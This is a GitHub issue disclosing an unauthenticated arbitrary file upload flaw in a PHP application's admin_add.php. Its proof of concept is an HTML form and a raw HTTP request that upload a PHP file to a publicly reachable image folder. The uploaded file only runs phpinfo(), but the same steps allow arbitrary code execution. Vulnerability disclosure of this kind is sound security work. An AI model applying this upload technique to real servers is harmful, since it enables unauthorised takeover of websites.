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there is a arbitrary file upload in admin_add.php #15

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liao10086 opened this issue Jan 17, 2020 · 0 comments
Open

there is a arbitrary file upload in admin_add.php #15

liao10086 opened this issue Jan 17, 2020 · 0 comments

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@liao10086
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liao10086 commented Jan 17, 2020

version:1.0
No login required.
POC:
upload form

<html>
 <form method="post" action="http://127.0.0.1:8888/admin_add.php" enctype="multipart/form-data">
        <td><input type="text" name="add" value="1" readOnly="true"></td>
        <td><input type="file" name="image"></td>
        <input type="submit" name="save" value="upload" class="btn btn-primary">    
  </form>
</html>

or post data

POST /admin_add.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/1.html
Content-Type: multipart/form-data; boundary=---------------------------1224355802559658660204724760
Content-Length: 453
Connection: close
Cookie: PHPSESSID=70880fb8e6521683e23cd9479d86610c
Upgrade-Insecure-Requests: 1

-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="add"

1
-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: text/php

<?php
phpinfo();
?>
-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="save"

upload
-----------------------------1224355802559658660204724760--

after you upload your'e file u will find it here /bootstrap/img/1.php

image
View source code admin_add.php
image
suggest:Please check upload file.
author:zionlab@dbappsecurity.com.cn

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